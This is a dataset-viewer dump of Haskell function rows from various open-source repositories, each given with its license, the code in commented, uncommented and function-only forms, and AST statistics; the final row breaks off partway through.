Search is not available for this dataset
repo_name string | path string | license string | full_code string | full_size int64 | uncommented_code string | uncommented_size int64 | function_only_code string | function_only_size int64 | is_commented bool | is_signatured bool | n_ast_errors int64 | ast_max_depth int64 | n_whitespaces int64 | n_ast_nodes int64 | n_ast_terminals int64 | n_ast_nonterminals int64 | loc int64 | cycloplexity int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
cartazio/omega | src/Parser/ParseToken.hs | bsd-3-clause | scii3codes = ["NUL","SOH","STX","ETX","EOT","ENQ","ACK","BEL",
"DLE","DC1","DC2","DC3","DC4","NAK","SYN","ETB",
"CAN","SUB","ESC","DEL"]
| 179 | ascii3codes = ["NUL","SOH","STX","ETX","EOT","ENQ","ACK","BEL",
"DLE","DC1","DC2","DC3","DC4","NAK","SYN","ETB",
"CAN","SUB","ESC","DEL"] | 179 | ascii3codes = ["NUL","SOH","STX","ETX","EOT","ENQ","ACK","BEL",
"DLE","DC1","DC2","DC3","DC4","NAK","SYN","ETB",
"CAN","SUB","ESC","DEL"] | 179 | false | false | 0 | 5 | 47 | 66 | 43 | 23 | null | null |
zchn/ethereum-analyzer | ethereum-analyzer-deps/src/Blockchain/Util.hs | apache-2.0 | bytes2Integer :: [Word8] -> Integer
bytes2Integer [] = 0 | 56 | bytes2Integer :: [Word8] -> Integer
bytes2Integer [] = 0 | 56 | bytes2Integer [] = 0 | 20 | false | true | 0 | 8 | 8 | 29 | 13 | 16 | null | null |
a143753/AOJ | 3026.hs | apache-2.0 | main = do
l <- getLine
let i = read l :: Int
o = ans i
putStrLn o | 77 | main = do
l <- getLine
let i = read l :: Int
o = ans i
putStrLn o | 77 | main = do
l <- getLine
let i = read l :: Int
o = ans i
putStrLn o | 77 | false | false | 0 | 10 | 30 | 42 | 19 | 23 | null | null |
vladfi1/hs-misc | NatTest.hs | mit | idNat2Int :: forall proxy (n :: Nat). (Nat2Integral n) => proxy n -> Int
idNat2Int = nat2Integral . idNat | 105 | idNat2Int :: forall proxy (n :: Nat). (Nat2Integral n) => proxy n -> Int
idNat2Int = nat2Integral . idNat | 105 | idNat2Int = nat2Integral . idNat | 32 | false | true | 1 | 9 | 18 | 51 | 25 | 26 | null | null |
HyperGainZ/neobot | mediawiki/MediaWiki/API/Query/Blocks/Import.hs | bsd-3-clause | xmlB :: Element -> Maybe BlockInfo
xmlB e = do
guard (elName e == nsName "block")
let i = pAttr "id" e
let usr = pAttr "user" e
let by = pAttr "by" e
let ts = pAttr "timestamp" e
let ex = pAttr "expiry" e
let re = pAttr "reason" e
let ras = pAttr "rangestart" e
let rae = pAttr "rangeend" e
let isa = isJust $ pAttr "automatic" e
let isan = isJust $ pAttr "anononly" e
let isnc = isJust $ pAttr "nocreate" e
let isab = isJust $ pAttr "autoblock" e
let isne = isJust $ pAttr "noemail" e
let ishi = isJust $ pAttr "hidden" e
return emptyBlockInfo
{ bkId = i
, bkUser = usr
, bkBy = by
, bkTimestamp = ts
, bkExpiry = ex
, bkReason = re
, bkRangeStart = ras
, bkRangeEnd = rae
, bkIsAuto = isa
, bkIsAnonOnly = isan
, bkIsNoCreate = isnc
, bkIsAutoBlock = isab
, bkIsNoEmail = isne
, bkIsHidden = ishi
} | 958 | xmlB :: Element -> Maybe BlockInfo
xmlB e = do
guard (elName e == nsName "block")
let i = pAttr "id" e
let usr = pAttr "user" e
let by = pAttr "by" e
let ts = pAttr "timestamp" e
let ex = pAttr "expiry" e
let re = pAttr "reason" e
let ras = pAttr "rangestart" e
let rae = pAttr "rangeend" e
let isa = isJust $ pAttr "automatic" e
let isan = isJust $ pAttr "anononly" e
let isnc = isJust $ pAttr "nocreate" e
let isab = isJust $ pAttr "autoblock" e
let isne = isJust $ pAttr "noemail" e
let ishi = isJust $ pAttr "hidden" e
return emptyBlockInfo
{ bkId = i
, bkUser = usr
, bkBy = by
, bkTimestamp = ts
, bkExpiry = ex
, bkReason = re
, bkRangeStart = ras
, bkRangeEnd = rae
, bkIsAuto = isa
, bkIsAnonOnly = isan
, bkIsNoCreate = isnc
, bkIsAutoBlock = isab
, bkIsNoEmail = isne
, bkIsHidden = ishi
} | 958 | xmlB e = do
guard (elName e == nsName "block")
let i = pAttr "id" e
let usr = pAttr "user" e
let by = pAttr "by" e
let ts = pAttr "timestamp" e
let ex = pAttr "expiry" e
let re = pAttr "reason" e
let ras = pAttr "rangestart" e
let rae = pAttr "rangeend" e
let isa = isJust $ pAttr "automatic" e
let isan = isJust $ pAttr "anononly" e
let isnc = isJust $ pAttr "nocreate" e
let isab = isJust $ pAttr "autoblock" e
let isne = isJust $ pAttr "noemail" e
let ishi = isJust $ pAttr "hidden" e
return emptyBlockInfo
{ bkId = i
, bkUser = usr
, bkBy = by
, bkTimestamp = ts
, bkExpiry = ex
, bkReason = re
, bkRangeStart = ras
, bkRangeEnd = rae
, bkIsAuto = isa
, bkIsAnonOnly = isan
, bkIsNoCreate = isnc
, bkIsAutoBlock = isab
, bkIsNoEmail = isne
, bkIsHidden = ishi
} | 923 | false | true | 0 | 12 | 328 | 357 | 174 | 183 | null | null |
badp/ganeti | src/Ganeti/HTools/Types.hs | gpl-2.0 | -- | The default minimum ispec.
defMinISpec :: ISpec
defMinISpec = ISpec { iSpecMemorySize = 128
, iSpecCpuCount = 1
, iSpecDiskCount = 1
, iSpecDiskSize = 1024
, iSpecNicCount = 1
, iSpecSpindleUse = 1
} | 331 | defMinISpec :: ISpec
defMinISpec = ISpec { iSpecMemorySize = 128
, iSpecCpuCount = 1
, iSpecDiskCount = 1
, iSpecDiskSize = 1024
, iSpecNicCount = 1
, iSpecSpindleUse = 1
} | 299 | defMinISpec = ISpec { iSpecMemorySize = 128
, iSpecCpuCount = 1
, iSpecDiskCount = 1
, iSpecDiskSize = 1024
, iSpecNicCount = 1
, iSpecSpindleUse = 1
} | 278 | true | true | 0 | 6 | 163 | 50 | 32 | 18 | null | null |
MFire30/haskellPresidentCardgame | app/src/CardManipulation.hs | mit | getElegibleCards :: GameCard -> Deck -> Deck
getElegibleCards card deck = let
elegibleCards = filter (>card) deck
in elegibleCards | 132 | getElegibleCards :: GameCard -> Deck -> Deck
getElegibleCards card deck = let
elegibleCards = filter (>card) deck
in elegibleCards | 132 | getElegibleCards card deck = let
elegibleCards = filter (>card) deck
in elegibleCards | 87 | false | true | 0 | 10 | 20 | 49 | 23 | 26 | null | null |
ardumont/haskell-lab | src/fibo.hs | gpl-2.0 | firstFibo :: Int -> Int
firstFibo n = head $ dropWhile (<= n) fib | 65 | firstFibo :: Int -> Int
firstFibo n = head $ dropWhile (<= n) fib | 65 | firstFibo n = head $ dropWhile (<= n) fib | 41 | false | true | 0 | 7 | 13 | 31 | 16 | 15 | null | null |
amutake/psg-scheme | src/Primitives.hs | bsd-3-clause | applyPrim Cdr = primCdr | 23 | applyPrim Cdr = primCdr | 23 | applyPrim Cdr = primCdr | 23 | false | false | 0 | 5 | 3 | 9 | 4 | 5 | null | null |
fmap/metric | test/Main.hs | mit | prop_RestrictedDamerauLevenshteinMetric :: RestrictedDamerauLevenshtein -> RestrictedDamerauLevenshtein -> RestrictedDamerauLevenshtein -> Property
prop_RestrictedDamerauLevenshteinMetric = prop_Metric | 201 | prop_RestrictedDamerauLevenshteinMetric :: RestrictedDamerauLevenshtein -> RestrictedDamerauLevenshtein -> RestrictedDamerauLevenshtein -> Property
prop_RestrictedDamerauLevenshteinMetric = prop_Metric | 201 | prop_RestrictedDamerauLevenshteinMetric = prop_Metric | 53 | false | true | 0 | 7 | 11 | 23 | 12 | 11 | null | null |
snoyberg/ghc | compiler/simplCore/CallArity.hs | bsd-3-clause | -- Replaces the co-call graph by a complete graph (i.e. no information)
calledMultipleTimes :: CallArityRes -> CallArityRes
calledMultipleTimes res = first (const (completeGraph (domRes res))) res | 196 | calledMultipleTimes :: CallArityRes -> CallArityRes
calledMultipleTimes res = first (const (completeGraph (domRes res))) res | 124 | calledMultipleTimes res = first (const (completeGraph (domRes res))) res | 72 | true | true | 0 | 11 | 25 | 42 | 21 | 21 | null | null |
shlevy/ghc | testsuite/tests/parser/should_fail/T14740.hs | bsd-3-clause | x :: ((##)) => ()
x = () | 24 | x :: ((##)) => ()
x = () | 24 | x = () | 6 | false | true | 0 | 8 | 7 | 31 | 15 | 16 | null | null |
mietek/stack | src/Stack/Types/Config.hs | bsd-3-clause | configProfilingCache :: (HasBuildConfig env, MonadReader env m) => m (Path Abs File)
configProfilingCache = liftM (</> $(mkRelFile "profiling-cache.bin")) configProjectWorkDir | 175 | configProfilingCache :: (HasBuildConfig env, MonadReader env m) => m (Path Abs File)
configProfilingCache = liftM (</> $(mkRelFile "profiling-cache.bin")) configProjectWorkDir | 175 | configProfilingCache = liftM (</> $(mkRelFile "profiling-cache.bin")) configProjectWorkDir | 90 | false | true | 0 | 9 | 18 | 55 | 28 | 27 | null | null |
keera-studios/hsQt | Qtc/Gui/QPrinter.hs | bsd-2-clause | docName :: QPrinter a -> (()) -> IO (String)
docName x0 ()
= withStringResult $
withObjectPtr x0 $ \cobj_x0 ->
qtc_QPrinter_docName cobj_x0 | 149 | docName :: QPrinter a -> (()) -> IO (String)
docName x0 ()
= withStringResult $
withObjectPtr x0 $ \cobj_x0 ->
qtc_QPrinter_docName cobj_x0 | 149 | docName x0 ()
= withStringResult $
withObjectPtr x0 $ \cobj_x0 ->
qtc_QPrinter_docName cobj_x0 | 104 | false | true | 0 | 9 | 31 | 63 | 30 | 33 | null | null |
ayu-mushi/new-trump-game | Game/BoardTrump/Types.hs | mit | hand :: Lens' Player [Card]; hand = lens _hand $ \p x -> p { _hand = x } | 72 | hand :: Lens' Player [Card]
hand = lens _hand $ \p x -> p { _hand = x } | 71 | hand = lens _hand $ \p x -> p { _hand = x } | 43 | false | true | 3 | 9 | 18 | 51 | 23 | 28 | null | null |
phadej/psqueues | src/Data/OrdPSQ/Internal.hs | bsd-3-clause | moduleError :: String -> String -> a
moduleError fun msg = error ("Data.OrdPSQ.Internal." ++ fun ++ ':' : ' ' : msg) | 116 | moduleError :: String -> String -> a
moduleError fun msg = error ("Data.OrdPSQ.Internal." ++ fun ++ ':' : ' ' : msg) | 116 | moduleError fun msg = error ("Data.OrdPSQ.Internal." ++ fun ++ ':' : ' ' : msg) | 79 | false | true | 0 | 10 | 21 | 46 | 23 | 23 | null | null |
mettekou/ghc | compiler/typecheck/TcRnTypes.hs | bsd-3-clause | pprSigSkolInfo :: UserTypeCtxt -> TcType -> SDoc
pprSigSkolInfo ctxt ty
= case ctxt of
FunSigCtxt f _ -> vcat [ text "the type signature for:"
, nest 2 (pprPrefixOcc f <+> dcolon <+> ppr ty) ]
PatSynCtxt {} -> pprUserTypeCtxt ctxt -- See Note [Skolem info for pattern synonyms]
_ -> vcat [ pprUserTypeCtxt ctxt <> colon
, nest 2 (ppr ty) ] | 437 | pprSigSkolInfo :: UserTypeCtxt -> TcType -> SDoc
pprSigSkolInfo ctxt ty
= case ctxt of
FunSigCtxt f _ -> vcat [ text "the type signature for:"
, nest 2 (pprPrefixOcc f <+> dcolon <+> ppr ty) ]
PatSynCtxt {} -> pprUserTypeCtxt ctxt -- See Note [Skolem info for pattern synonyms]
_ -> vcat [ pprUserTypeCtxt ctxt <> colon
, nest 2 (ppr ty) ] | 437 | pprSigSkolInfo ctxt ty
= case ctxt of
FunSigCtxt f _ -> vcat [ text "the type signature for:"
, nest 2 (pprPrefixOcc f <+> dcolon <+> ppr ty) ]
PatSynCtxt {} -> pprUserTypeCtxt ctxt -- See Note [Skolem info for pattern synonyms]
_ -> vcat [ pprUserTypeCtxt ctxt <> colon
, nest 2 (ppr ty) ] | 388 | false | true | 0 | 14 | 160 | 125 | 59 | 66 | null | null |
jasonzoladz/persistent | persistent-template/Database/Persist/TH.hs | mit | mkKeyFromValues :: MkPersistSettings -> EntityDef -> Q Dec
mkKeyFromValues _mps t = do
clauses <- case entityPrimary t of
Nothing -> do
e <- [|fmap $(return $ keyConE) . fromPersistValue . headNote|]
return $ [normalClause [] e]
Just pdef ->
fromValues t "keyFromValues" keyConE (compositeFields pdef)
return $ FunD 'keyFromValues clauses
where
keyConE = keyConExp t | 433 | mkKeyFromValues :: MkPersistSettings -> EntityDef -> Q Dec
mkKeyFromValues _mps t = do
clauses <- case entityPrimary t of
Nothing -> do
e <- [|fmap $(return $ keyConE) . fromPersistValue . headNote|]
return $ [normalClause [] e]
Just pdef ->
fromValues t "keyFromValues" keyConE (compositeFields pdef)
return $ FunD 'keyFromValues clauses
where
keyConE = keyConExp t | 433 | mkKeyFromValues _mps t = do
clauses <- case entityPrimary t of
Nothing -> do
e <- [|fmap $(return $ keyConE) . fromPersistValue . headNote|]
return $ [normalClause [] e]
Just pdef ->
fromValues t "keyFromValues" keyConE (compositeFields pdef)
return $ FunD 'keyFromValues clauses
where
keyConE = keyConExp t | 374 | false | true | 1 | 16 | 122 | 130 | 59 | 71 | null | null |
ruiting/opencog | opencog/nlp/lojban/HaskellLib/src/OpenCog/Lojban/Syntax.hs | agpl-3.0 | _anytense :: SyntaxReader Atom
_anytense = concept <$> (_PU <|> _ZI <|> _VA <|> _FAhA <|> _ZAhO <|>
_ZEhA <|> _VIhA <|> _CAhA) | 155 | _anytense :: SyntaxReader Atom
_anytense = concept <$> (_PU <|> _ZI <|> _VA <|> _FAhA <|> _ZAhO <|>
_ZEhA <|> _VIhA <|> _CAhA) | 155 | _anytense = concept <$> (_PU <|> _ZI <|> _VA <|> _FAhA <|> _ZAhO <|>
_ZEhA <|> _VIhA <|> _CAhA) | 124 | false | true | 2 | 13 | 51 | 56 | 26 | 30 | null | null |
tylerjl/euler-haskell | test/EulerSpec.hs | bsd-3-clause | spec :: Spec
spec = do
describe "p1" $ do
it "correctly calculates the example problem" $ do
p1 10 `shouldBe` 23
describe "p2" $ do
it "correctly calculates the example problem" $ do
p2 100 `shouldBe` 44 | 252 | spec :: Spec
spec = do
describe "p1" $ do
it "correctly calculates the example problem" $ do
p1 10 `shouldBe` 23
describe "p2" $ do
it "correctly calculates the example problem" $ do
p2 100 `shouldBe` 44 | 252 | spec = do
describe "p1" $ do
it "correctly calculates the example problem" $ do
p1 10 `shouldBe` 23
describe "p2" $ do
it "correctly calculates the example problem" $ do
p2 100 `shouldBe` 44 | 239 | false | true | 0 | 14 | 86 | 82 | 35 | 47 | null | null |
RefactoringTools/HaRe | src/Language/Haskell/Refact/Utils/Utils.hs | bsd-3-clause | mycomp :: GHC.ModSummary -> GHC.ModSummary -> Bool
mycomp ms1 ms2 = (GHC.ms_mod ms1) == (GHC.ms_mod ms2) | 104 | mycomp :: GHC.ModSummary -> GHC.ModSummary -> Bool
mycomp ms1 ms2 = (GHC.ms_mod ms1) == (GHC.ms_mod ms2) | 104 | mycomp ms1 ms2 = (GHC.ms_mod ms1) == (GHC.ms_mod ms2) | 53 | false | true | 0 | 9 | 15 | 54 | 25 | 29 | null | null |
adamschoenemann/simple-frp | test/FRP/TestFunctions.hs | mit | -- switch : S alloc -> S a -> E (S a) -> S a
frp_switch :: Decl ()
frp_switch = unitFunc [unsafeDecl|
switch : S alloc -> S a -> (mu b. (S a) + b) -> S a
switch us xs e =
let cons(u, delay(us')) = us in
let cons(x, delay(xs')) = xs in
case out (mu b. (S a) + b) e of
| inl ys -> ys
| inr t -> let delay(e') = t in
cons(x, delay (u, switch us' xs' e')).
|] | 402 | frp_switch :: Decl ()
frp_switch = unitFunc [unsafeDecl|
switch : S alloc -> S a -> (mu b. (S a) + b) -> S a
switch us xs e =
let cons(u, delay(us')) = us in
let cons(x, delay(xs')) = xs in
case out (mu b. (S a) + b) e of
| inl ys -> ys
| inr t -> let delay(e') = t in
cons(x, delay (u, switch us' xs' e')).
|] | 357 | frp_switch = unitFunc [unsafeDecl|
switch : S alloc -> S a -> (mu b. (S a) + b) -> S a
switch us xs e =
let cons(u, delay(us')) = us in
let cons(x, delay(xs')) = xs in
case out (mu b. (S a) + b) e of
| inl ys -> ys
| inr t -> let delay(e') = t in
cons(x, delay (u, switch us' xs' e')).
|] | 335 | true | true | 0 | 6 | 135 | 24 | 14 | 10 | null | null |
ezyang/ghc | testsuite/tests/codeGen/should_run/CmmSwitchTest32.hs | bsd-3-clause | aj _ = 1337# | 12 | aj _ = 1337# | 12 | aj _ = 1337# | 12 | false | false | 0 | 4 | 3 | 10 | 4 | 6 | null | null |
jprider63/yesod | yesod-form/Yesod/Form/Functions.hs | mit | -- | Generate a 'FieldSettings' from the given label.
fieldSettingsLabel :: RenderMessage site msg => msg -> FieldSettings site
fieldSettingsLabel msg = FieldSettings (SomeMessage msg) Nothing Nothing Nothing [] | 211 | fieldSettingsLabel :: RenderMessage site msg => msg -> FieldSettings site
fieldSettingsLabel msg = FieldSettings (SomeMessage msg) Nothing Nothing Nothing [] | 157 | fieldSettingsLabel msg = FieldSettings (SomeMessage msg) Nothing Nothing Nothing [] | 83 | true | true | 0 | 7 | 28 | 50 | 24 | 26 | null | null |
tjakway/ghcjvm | compiler/cmm/CmmSwitch.hs | bsd-3-clause | -- | Minimum non-zero offset for a jump table. See Note [Jump Table Offset].
minJumpTableOffset :: Integer
minJumpTableOffset = 2 | 129 | minJumpTableOffset :: Integer
minJumpTableOffset = 2 | 52 | minJumpTableOffset = 2 | 22 | true | true | 0 | 4 | 19 | 12 | 7 | 5 | null | null |
elliottt/hsopenid | src/Data/Digest/OpenSSL/SHA.hs | bsd-3-clause | sha256 :: [Word8] -> [Word8]
sha256 = unsafePerformIO . hashWith c_EVP_sha256 | 77 | sha256 :: [Word8] -> [Word8]
sha256 = unsafePerformIO . hashWith c_EVP_sha256 | 77 | sha256 = unsafePerformIO . hashWith c_EVP_sha256 | 48 | false | true | 0 | 6 | 10 | 28 | 15 | 13 | null | null |
anttisalonen/freekick2 | src/Listings.hs | gpl-3.0 | showTeamNation 32 = "San Marino" | 32 | showTeamNation 32 = "San Marino" | 32 | showTeamNation 32 = "San Marino" | 32 | false | false | 1 | 5 | 4 | 13 | 4 | 9 | null | null |
tanaka-de-silva/bears-io | app/FreeMonadExample.hs | bsd-3-clause | runQueryF (LookupTable ref k f) = do
mVal <- gets (Map.lookup k)
case mVal of
Just v -> f v
Nothing -> empty
-- | Counts keys in an ordered map between two keys (inclusive) | 185 | runQueryF (LookupTable ref k f) = do
mVal <- gets (Map.lookup k)
case mVal of
Just v -> f v
Nothing -> empty
-- | Counts keys in an ordered map between two keys (inclusive) | 185 | runQueryF (LookupTable ref k f) = do
mVal <- gets (Map.lookup k)
case mVal of
Just v -> f v
Nothing -> empty
-- | Counts keys in an ordered map between two keys (inclusive) | 185 | false | false | 0 | 11 | 47 | 63 | 29 | 34 | null | null |
kadena-io/pact | src/Pact/Types/Term.hs | bsd-3-clause | termCodec :: (ToJSON n, FromJSON n) => Codec (Term n)
termCodec = Codec enc dec
where
enc t = case t of
TModule d b i -> ob [ moduleDef .= d, body .= b, inf i ]
TList ts ty i -> ob [ list' .= ts, type' .= ty, inf i ]
TDef d _i -> toJSON d
-- TNative intentionally not marshallable
TNative n _fn tys _exs d tl i ->
ob [ natName .= n, natFun .= Null {- TODO fn -}
, natFunTypes .= tys, natExamples .= Null {- TODO exs -},
natDocs .= d, natTopLevel .= tl, inf i ]
TConst d m c met i ->
ob [ constArg .= d, modName .= m, constVal .= c, meta .= met, inf i ]
TApp a _i -> toJSON a
TVar n i -> ob [ var .= n, inf i ]
TBinding bs b c i -> ob [pairs .= bs, body .= b, type' .= c, inf i]
TObject o _i -> toJSON o
TLiteral l i -> ob [literal .= l, inf i]
TLam tlam _i -> toJSON tlam
TGuard k i -> ob [guard' .= k, inf i]
TUse u _i -> toJSON u
TStep s tmeta i -> ob [body .= s, meta .= tmeta, inf i]
TSchema sn smod smeta sfs i ->
ob [ schemaName .= sn, modName .= smod, meta .= smeta
, fields .= sfs, inf i ]
TTable tn tmod th tty tmeta i ->
ob [ tblName .= tn, modName .= tmod, hash' .= th, type' .= tty
, meta .= tmeta, inf i ]
TDynamic r m i ->
ob [ dynRef .= r, dynMem .= m, inf i ]
TModRef mr _i -> toJSON mr
dec decval =
let wo n f = withObject n f decval
parseWithInfo f = uncurry f . (id &&& getInfo) <$> parseJSON decval
in
wo "Module" (\o -> TModule <$> o .: moduleDef <*> o .: body <*> inf' o)
<|> wo "List"
(\o -> TList <$> o .: list' <*> o .: type' <*> inf' o)
<|> parseWithInfo TDef
-- TNative intentionally not marshallable
<|> wo "Const"
(\o -> TConst <$> o .: constArg <*> o .: modName
<*> o .: constVal <*> o .: meta <*> inf' o )
<|> parseWithInfo TApp
<|> wo "Var" (\o -> TVar <$> o .: var <*> inf' o )
<|> wo "Binding"
(\o -> TBinding <$> o .: pairs <*> o .: body
<*> o .: type' <*> inf' o)
<|> parseWithInfo TObject
<|> wo "Literal" (\o -> TLiteral <$> o .: literal <*> inf' o)
<|> wo "Guard" (\o -> TGuard <$> o .: guard' <*> inf' o)
<|> parseWithInfo TUse
<|> parseWithInfo TLam
<|> wo "Step"
(\o -> TStep <$> o .: body <*> o .: meta <*> inf' o)
-- parseWithInfo TStep
<|> wo "Schema"
(\o -> TSchema <$> o .: schemaName <*> o .: modName
<*> o .: meta <*> o .: fields <*> inf' o )
<|> wo "Table"
(\o -> TTable <$> o .: tblName <*> o .: modName
<*> o .: hash' <*> o .: type'
<*> o .: meta <*> inf' o )
<|> wo "Dynamic"
(\o -> TDynamic <$> o .: dynRef <*> o .: dynMem <*> inf' o)
<|> parseWithInfo TModRef
ob = object
moduleDef = "module"
body = "body"
meta = "meta"
inf i = "i" .= i
inf' o = o .: "i"
list' = "list"
type' = "type"
natName = "name"
natFun = "fun"
natFunTypes = "types"
natExamples = "examples"
natDocs = "docs"
natTopLevel = "tl"
constArg = "arg"
modName = "modname"
constVal = "val"
var = "var"
pairs = "pairs"
literal = "lit"
guard' = "guard"
schemaName = "name"
fields = "fields"
tblName = "name"
hash' = "hash"
dynRef = "dref"
dynMem = "dmem" | 3,523 | termCodec :: (ToJSON n, FromJSON n) => Codec (Term n)
termCodec = Codec enc dec
where
enc t = case t of
TModule d b i -> ob [ moduleDef .= d, body .= b, inf i ]
TList ts ty i -> ob [ list' .= ts, type' .= ty, inf i ]
TDef d _i -> toJSON d
-- TNative intentionally not marshallable
TNative n _fn tys _exs d tl i ->
ob [ natName .= n, natFun .= Null {- TODO fn -}
, natFunTypes .= tys, natExamples .= Null {- TODO exs -},
natDocs .= d, natTopLevel .= tl, inf i ]
TConst d m c met i ->
ob [ constArg .= d, modName .= m, constVal .= c, meta .= met, inf i ]
TApp a _i -> toJSON a
TVar n i -> ob [ var .= n, inf i ]
TBinding bs b c i -> ob [pairs .= bs, body .= b, type' .= c, inf i]
TObject o _i -> toJSON o
TLiteral l i -> ob [literal .= l, inf i]
TLam tlam _i -> toJSON tlam
TGuard k i -> ob [guard' .= k, inf i]
TUse u _i -> toJSON u
TStep s tmeta i -> ob [body .= s, meta .= tmeta, inf i]
TSchema sn smod smeta sfs i ->
ob [ schemaName .= sn, modName .= smod, meta .= smeta
, fields .= sfs, inf i ]
TTable tn tmod th tty tmeta i ->
ob [ tblName .= tn, modName .= tmod, hash' .= th, type' .= tty
, meta .= tmeta, inf i ]
TDynamic r m i ->
ob [ dynRef .= r, dynMem .= m, inf i ]
TModRef mr _i -> toJSON mr
dec decval =
let wo n f = withObject n f decval
parseWithInfo f = uncurry f . (id &&& getInfo) <$> parseJSON decval
in
wo "Module" (\o -> TModule <$> o .: moduleDef <*> o .: body <*> inf' o)
<|> wo "List"
(\o -> TList <$> o .: list' <*> o .: type' <*> inf' o)
<|> parseWithInfo TDef
-- TNative intentionally not marshallable
<|> wo "Const"
(\o -> TConst <$> o .: constArg <*> o .: modName
<*> o .: constVal <*> o .: meta <*> inf' o )
<|> parseWithInfo TApp
<|> wo "Var" (\o -> TVar <$> o .: var <*> inf' o )
<|> wo "Binding"
(\o -> TBinding <$> o .: pairs <*> o .: body
<*> o .: type' <*> inf' o)
<|> parseWithInfo TObject
<|> wo "Literal" (\o -> TLiteral <$> o .: literal <*> inf' o)
<|> wo "Guard" (\o -> TGuard <$> o .: guard' <*> inf' o)
<|> parseWithInfo TUse
<|> parseWithInfo TLam
<|> wo "Step"
(\o -> TStep <$> o .: body <*> o .: meta <*> inf' o)
-- parseWithInfo TStep
<|> wo "Schema"
(\o -> TSchema <$> o .: schemaName <*> o .: modName
<*> o .: meta <*> o .: fields <*> inf' o )
<|> wo "Table"
(\o -> TTable <$> o .: tblName <*> o .: modName
<*> o .: hash' <*> o .: type'
<*> o .: meta <*> inf' o )
<|> wo "Dynamic"
(\o -> TDynamic <$> o .: dynRef <*> o .: dynMem <*> inf' o)
<|> parseWithInfo TModRef
ob = object
moduleDef = "module"
body = "body"
meta = "meta"
inf i = "i" .= i
inf' o = o .: "i"
list' = "list"
type' = "type"
natName = "name"
natFun = "fun"
natFunTypes = "types"
natExamples = "examples"
natDocs = "docs"
natTopLevel = "tl"
constArg = "arg"
modName = "modname"
constVal = "val"
var = "var"
pairs = "pairs"
literal = "lit"
guard' = "guard"
schemaName = "name"
fields = "fields"
tblName = "name"
hash' = "hash"
dynRef = "dref"
dynMem = "dmem" | 3,523 | termCodec = Codec enc dec
where
enc t = case t of
TModule d b i -> ob [ moduleDef .= d, body .= b, inf i ]
TList ts ty i -> ob [ list' .= ts, type' .= ty, inf i ]
TDef d _i -> toJSON d
-- TNative intentionally not marshallable
TNative n _fn tys _exs d tl i ->
ob [ natName .= n, natFun .= Null {- TODO fn -}
, natFunTypes .= tys, natExamples .= Null {- TODO exs -},
natDocs .= d, natTopLevel .= tl, inf i ]
TConst d m c met i ->
ob [ constArg .= d, modName .= m, constVal .= c, meta .= met, inf i ]
TApp a _i -> toJSON a
TVar n i -> ob [ var .= n, inf i ]
TBinding bs b c i -> ob [pairs .= bs, body .= b, type' .= c, inf i]
TObject o _i -> toJSON o
TLiteral l i -> ob [literal .= l, inf i]
TLam tlam _i -> toJSON tlam
TGuard k i -> ob [guard' .= k, inf i]
TUse u _i -> toJSON u
TStep s tmeta i -> ob [body .= s, meta .= tmeta, inf i]
TSchema sn smod smeta sfs i ->
ob [ schemaName .= sn, modName .= smod, meta .= smeta
, fields .= sfs, inf i ]
TTable tn tmod th tty tmeta i ->
ob [ tblName .= tn, modName .= tmod, hash' .= th, type' .= tty
, meta .= tmeta, inf i ]
TDynamic r m i ->
ob [ dynRef .= r, dynMem .= m, inf i ]
TModRef mr _i -> toJSON mr
dec decval =
let wo n f = withObject n f decval
parseWithInfo f = uncurry f . (id &&& getInfo) <$> parseJSON decval
in
wo "Module" (\o -> TModule <$> o .: moduleDef <*> o .: body <*> inf' o)
<|> wo "List"
(\o -> TList <$> o .: list' <*> o .: type' <*> inf' o)
<|> parseWithInfo TDef
-- TNative intentionally not marshallable
<|> wo "Const"
(\o -> TConst <$> o .: constArg <*> o .: modName
<*> o .: constVal <*> o .: meta <*> inf' o )
<|> parseWithInfo TApp
<|> wo "Var" (\o -> TVar <$> o .: var <*> inf' o )
<|> wo "Binding"
(\o -> TBinding <$> o .: pairs <*> o .: body
<*> o .: type' <*> inf' o)
<|> parseWithInfo TObject
<|> wo "Literal" (\o -> TLiteral <$> o .: literal <*> inf' o)
<|> wo "Guard" (\o -> TGuard <$> o .: guard' <*> inf' o)
<|> parseWithInfo TUse
<|> parseWithInfo TLam
<|> wo "Step"
(\o -> TStep <$> o .: body <*> o .: meta <*> inf' o)
-- parseWithInfo TStep
<|> wo "Schema"
(\o -> TSchema <$> o .: schemaName <*> o .: modName
<*> o .: meta <*> o .: fields <*> inf' o )
<|> wo "Table"
(\o -> TTable <$> o .: tblName <*> o .: modName
<*> o .: hash' <*> o .: type'
<*> o .: meta <*> inf' o )
<|> wo "Dynamic"
(\o -> TDynamic <$> o .: dynRef <*> o .: dynMem <*> inf' o)
<|> parseWithInfo TModRef
ob = object
moduleDef = "module"
body = "body"
meta = "meta"
inf i = "i" .= i
inf' o = o .: "i"
list' = "list"
type' = "type"
natName = "name"
natFun = "fun"
natFunTypes = "types"
natExamples = "examples"
natDocs = "docs"
natTopLevel = "tl"
constArg = "arg"
modName = "modname"
constVal = "val"
var = "var"
pairs = "pairs"
literal = "lit"
guard' = "guard"
schemaName = "name"
fields = "fields"
tblName = "name"
hash' = "hash"
dynRef = "dref"
dynMem = "dmem" | 3,469 | false | true | 48 | 32 | 1,292 | 1,318 | 681 | 637 | null | null |
jaiyalas/sdl2-cairo-image | src/SDL/Cairo/Image/Render.hs | mit | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
-- | draw a __JuicyPixel__ 'Image' on the given __SDL__ 'Texture'
-- (at the specified coordinate).
drawImg :: RenderablePixel a =>
Texture -- ^ a 'Texture'
-> V2 Int -- ^ a 'V2' coordinate of the top left corner
-> Image a -- ^ an 'Image'
-> IO ()
drawImg st v2 img = withCanvas st $ renderImgCanvas v2 img | 430 | drawImg :: RenderablePixel a =>
Texture -- ^ a 'Texture'
-> V2 Int -- ^ a 'V2' coordinate of the top left corner
-> Image a -- ^ an 'Image'
-> IO ()
drawImg st v2 img = withCanvas st $ renderImgCanvas v2 img | 251 | drawImg st v2 img = withCanvas st $ renderImgCanvas v2 img | 58 | true | true | 0 | 11 | 130 | 70 | 34 | 36 | null | null |
kmate/HaRe | old/testing/unfoldAsPatterns/M1AST.hs | bsd-3-clause | insert
:: (Monad m, Ord a) => a -> (BTree a) -> m (BTree a)
insert val v2
= do case v2 of
T val Empty Empty
| val == val -> return Empty
| otherwise ->
return (T val Empty (T val Empty Empty))
T val (T val2 Empty Empty) Empty -> return Empty
_ -> return v2 | 374 | insert
